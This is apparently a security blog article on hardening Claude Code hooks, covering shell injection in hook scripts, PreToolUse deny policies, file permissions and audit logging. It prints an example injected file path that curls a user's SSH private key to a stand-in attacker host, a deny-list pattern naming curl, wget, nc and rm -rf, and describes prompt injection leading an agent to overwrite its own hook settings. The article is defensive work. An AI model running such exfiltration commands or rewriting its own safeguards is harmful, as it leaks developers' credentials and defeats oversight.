{"@context":"https://schema.org","@type":"Article","headline":"Claude Code Hooks Are a Hidden Attack Surface — Here Is How to Lock Them Down","keywords":"claude code hooks security","description":"Comprehensive guide to claude code hooks security — covering definitions, best practices, tools, and FAQs.","author":{"@type":"Organization","name":"CLaude coe ","url":"https://gtm-rho.vercel.app/"},"publisher":{"@type":"Organization","name":"CLaude coe ","url":"https://gtm-rho.vercel.app/"},"datePublished":"2026-06-15T07:29:58.734Z","dateModified":"2026-06-15T07:29:58.734Z","mainEntityOfPage":{"@type":"WebPage"}}
{"@context":"https://schema.org","@type":"FAQPage","mainEntity":[{"@type":"Question","name":"Can Claude itself modify hook configuration to bypass restrictions?","acceptedAnswer":{"@type":"Answer","text":"See our full guide on claude code hooks security for a detailed answer to: Can Claude itself modify hook configuration to bypass restrictions?"}},{"@type":"Question","name":"What is the difference between deny rules in settings.json and a PreToolUse hook?","acceptedAnswer":{"@type":"Answer","text":"See our full guide on claude code hooks security for a detailed answer to: What is the difference between deny rules in settings.json and a PreToolUse hook?"}}]}
Claude Code Hooks Are a Hidden Attack Surface — Here Is How to Lock Them Down
Claude code hooks security is the practice of hardening the hook execution layer in Claude Code — the shell scripts and commands that run automatically before and after Claude invokes tools — to prevent prompt injection, privilege escalation, and unauthorized system access in AI-assisted development environments.
Most teams deploying Claude Code spend their security budget on network controls and secret scanning. Hooks get ignored because they look like build tooling: a shell command here, a validation script there. That framing is wrong. Hooks run with the full permissions of the developer's process, they fire on data that Claude's output directly influences, and they are almost never reviewed during security audits. That combination creates a reliable attack path.
How Hooks Work and Why Permissions Matter
Claude Code exposes four hook events: PreToolUse, PostToolUse, PreCompact, and Stop. Each maps to a moment in Claude's tool execution lifecycle. You configure them in settings.json, and when the event fires, Claude Code forks a subprocess and runs your command. That subprocess inherits the environment of the parent process — which means it inherits your AWS credentials, your SSH agent socket, your Git config, and every other secret your shell has loaded.
There is no sandbox. No capability restriction. No syscall filtering. If your hook script calls rm -rf, it deletes files. If it calls curl, it makes real network requests. The subprocess runs as you, with everything you have access to. This is by design — hooks are meant to be powerful — but it means a compromised or poorly written hook script is equivalent to arbitrary code execution under your identity.
Claude Code passes context to hooks as JSON on stdin: the tool name, the tool inputs, and conversation metadata. Hook scripts read that JSON, do something with it, and exit. The exit code and stdout influence Claude's behavior. A non-zero exit from a PreToolUse hook blocks the tool call. This is useful defensively, but it also means the hook is processing attacker-controlled data if the conversation has been manipulated.
The Real Risk: Hooks That Trust Claude's Output
Prompt injection into coding assistants is not theoretical. Researchers at ETH Zurich demonstrated in 2024 that indirect prompt injection through retrieved documents could reliably redirect LLM tool calls, with success rates above 60% in tested configurations. The attack surface Claude Code hooks create is specific: if a hook script reads tool input fields and passes them unsanitized to a shell command, an attacker who can influence Claude's output can inject shell metacharacters.
Consider a PostToolUse hook that logs file writes:
#!/bin/bash
INPUT=$(cat)
FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path')
echo "Written: $FILE" >> /var/log/claude-writes.log
This looks harmless. But if Claude writes to a file path like /tmp/report.txt; curl attacker.com/exfil -d @~/.ssh/id_rsa — and that path came from a compromised dependency README or a malicious code comment Claude was asked to read — the hook executes the injection. GitGuardian's 2024 State of Secrets Sprawl report found that the median time from a secret being committed to first unauthorized use is under four minutes. A hook that leaks credentials via injection may not give you time to respond.
The root cause is trusting structured data from Claude's output as if it were sanitized. It is not. Claude's tool inputs are influenced by everything in the conversation context, including content fetched from external sources.
Using PreToolUse Hooks Defensively
The most useful defensive application of hooks is runtime policy enforcement via PreToolUse. When a PreToolUse hook exits non-zero, Claude Code blocks the tool call and surfaces the hook's stdout as the reason. This gives you a programmable veto layer that runs inside Claude's execution loop.
A practical deny policy script looks like this:
#!/bin/bash
set -euo pipefail
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
if [ "$TOOL" = "Bash" ]; then
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(curl|wget|nc |ncat|rm -rf|dd if)'; then
echo "Blocked: command matches deny list" >&2
exit 1
fi
fi
exit 0
This is not a replacement for settings.json deny rules — it is a second enforcement layer. The CLaude coe documentation covers how settings.json deny rules intercept tool calls at the configuration layer, before hooks even fire. But configuration files can be modified if an attacker gains filesystem write access, or if a misconfigured permissions grant allows Claude to edit project settings. A PreToolUse hook in a root-owned script that Claude cannot modify adds defense-in-depth.
The key distinction: settings.json deny rules are declarative and pattern-matched by Claude Code itself. A PreToolUse hook is imperative — you can call external APIs, check signing certificates, query a policy service, or log to a SIEM before making the allow/deny decision. For teams that need audit trails for compliance, the hook approach gives you something settings.json alone cannot: a verifiable, timestamped record of every blocked tool call.
Securing Hook Scripts
Three practices reduce hook script exposure significantly.
Input validation before any shell expansion. Never interpolate hook input directly into shell commands. Parse JSON with jq, extract specific fields, and validate them before use. File paths should be checked against an allowlist of expected directories. Command strings should be rejected if they contain metacharacters outside a defined safe set. The set -euo pipefail preamble ensures the script fails loudly rather than silently continuing on parse errors.
Path restrictions via filesystem controls. Hook scripts themselves should be owned by root or a dedicated service account and not writable by the user running Claude Code. If Claude can overwrite your hook script, the hook is not a security boundary — it is just another file. On Linux, set the immutable bit (chattr +i) on hook scripts in high-security environments. On macOS, use chmod 755 with root ownership and confirm Claude's process cannot sudo.
Structured logging to an append-only destination. Every hook invocation should log the tool name, a hash of the input, the decision (allow/block), and a timestamp. Write logs to a destination the Claude process cannot modify — a remote syslog endpoint, a write-once S3 bucket, or a local append-only log with the append-only flag set. CISA's 2023 AI security guidance explicitly recommends audit logging for automated AI tool execution as a minimum baseline for enterprise deployments. Without logs, you have no forensic basis to detect injection attempts that succeeded.
At CLaude coe, we treat hook script security as part of the broader question of where trust boundaries sit in agentic AI systems. The answer is not "trust the model" — it is "verify at every execution point, log everything, and assume the conversation context may be partially attacker-controlled." See the CLaude coe product overview for how we apply this model to Claude Code deployments at scale.
What to Do Right Now
Audit your existing hook configurations before anything else. Run grep -r "hooks" ~/.claude/settings.json .claude/settings.json and list every command that fires on hook events. For each one, check whether it reads from stdin without validation, whether it interpolates hook data into shell commands, and whether the script file is writable by your current user. Any yes answer is a finding.
If you have hooks that pass tool input to shell commands, rewrite them to use jq for extraction and validate extracted values against strict patterns before use. If you do not have logging on hook execution, add it. If your hook scripts are writable by the Claude process, fix the permissions.
The CLaude coe pricing page outlines monitoring tiers for teams that need continuous hook audit coverage rather than one-time hardening. For most teams, the one-time hardening is the right starting point — but ongoing monitoring catches drift as hook configurations evolve with new workflows.
Hooks are powerful enough to be useful and dangerous enough to need the same scrutiny as any other script that runs with your credentials. Treat them accordingly.
Frequently Asked Questions
Can Claude itself modify hook configuration to bypass restrictions?
Claude Code does not expose a tool that directly edits settings.json. However, Claude has a Write tool that can write to arbitrary paths, including your project's .claude/settings.json. If the deny rules in that file do not explicitly block writes to .claude/settings.json, Claude could — in theory, under prompt injection — overwrite hook configuration. The fix is to add an explicit deny rule blocking writes to settings.json and .claude/ paths, and to store security-critical hooks in a user-level settings file that project-level configuration cannot override.
What is the difference between deny rules in settings.json and a PreToolUse hook?
Deny rules in settings.json are pattern-matched by Claude Code before tool execution — they are declarative, fast, and applied consistently. A PreToolUse hook is a subprocess that runs arbitrary logic before each tool call. The hook can do things deny rules cannot: call external policy services, check environment state, log to external systems, or apply conditional logic based on multiple input fields simultaneously. The tradeoff is that hooks add latency and introduce their own attack surface. Use settings.json deny rules as the primary control and PreToolUse hooks for enforcement that requires runtime context or external validation.
Are Claude Code hooks sandboxed?
No. Hook scripts run as subprocesses of the Claude Code process and inherit its full environment, including all loaded credentials, filesystem access, and network permissions. There is no syscall filtering, capability restriction, or container boundary. This is a deliberate design choice that makes hooks powerful, but it also means a hook script with a shell injection vulnerability is equivalent to arbitrary code execution under the developer's identity.
Can a hook block a tool call?
Yes. A PreToolUse hook that exits with a non-zero status code blocks the tool call. Claude Code reads the hook's stdout and surfaces it as the reason the tool call was blocked. This makes PreToolUse hooks a viable runtime policy enforcement mechanism — you can block specific commands, file paths, or network destinations based on logic that is more complex than what settings.json pattern matching supports.
How do I prevent shell injection in PostToolUse hooks?
Never interpolate hook input data directly into shell command strings. Parse the JSON input with jq using the -r flag to extract specific fields, then validate those fields before use. File paths should be matched against an allowlist using a strict regex before being passed to any shell command. Command strings should be rejected outright if they contain metacharacters like ;, &, |,
, or `$(`. Using `set -euo pipefail` at the top of every hook script ensures parse failures abort execution rather than silently continuing with empty or malformed variables.
Top comments (0)